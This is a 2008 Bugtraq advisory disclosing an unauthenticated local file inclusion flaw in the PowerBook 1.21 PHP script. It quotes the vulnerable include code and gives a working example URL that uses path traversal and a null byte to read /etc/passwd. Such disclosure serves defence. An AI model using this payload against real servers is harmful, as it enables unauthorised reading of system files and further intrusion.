Hello, bugtraq. [DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory Application: PowerBook Versions Affected: 1.21 Vendor URL: http://www.powerscripts.org/ Bug: Local File Include Exploits: YES Reported: 01.02.2008 Vendor Response: none Solution: none Date of Public Advisory: ..2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Local File Include vulnerability found in script pb_inc/admincenter/index.php Non-authentication user can directly access to this script. To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file. Code **** ################################################# if (!$page) { $page = "home"; } $page .= ".inc.php"; if(file_exists($page) == false) { echo " <div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div> "; } else { include("$page"); } ################################################# Example: http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../ ../../../../../../../../../../etc/passwd%00 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) -- Alexandr Polyakov DIGITAL SECURITY RESEARCH GROUP mailto:research (at) dsec (dot) ru [email concealed]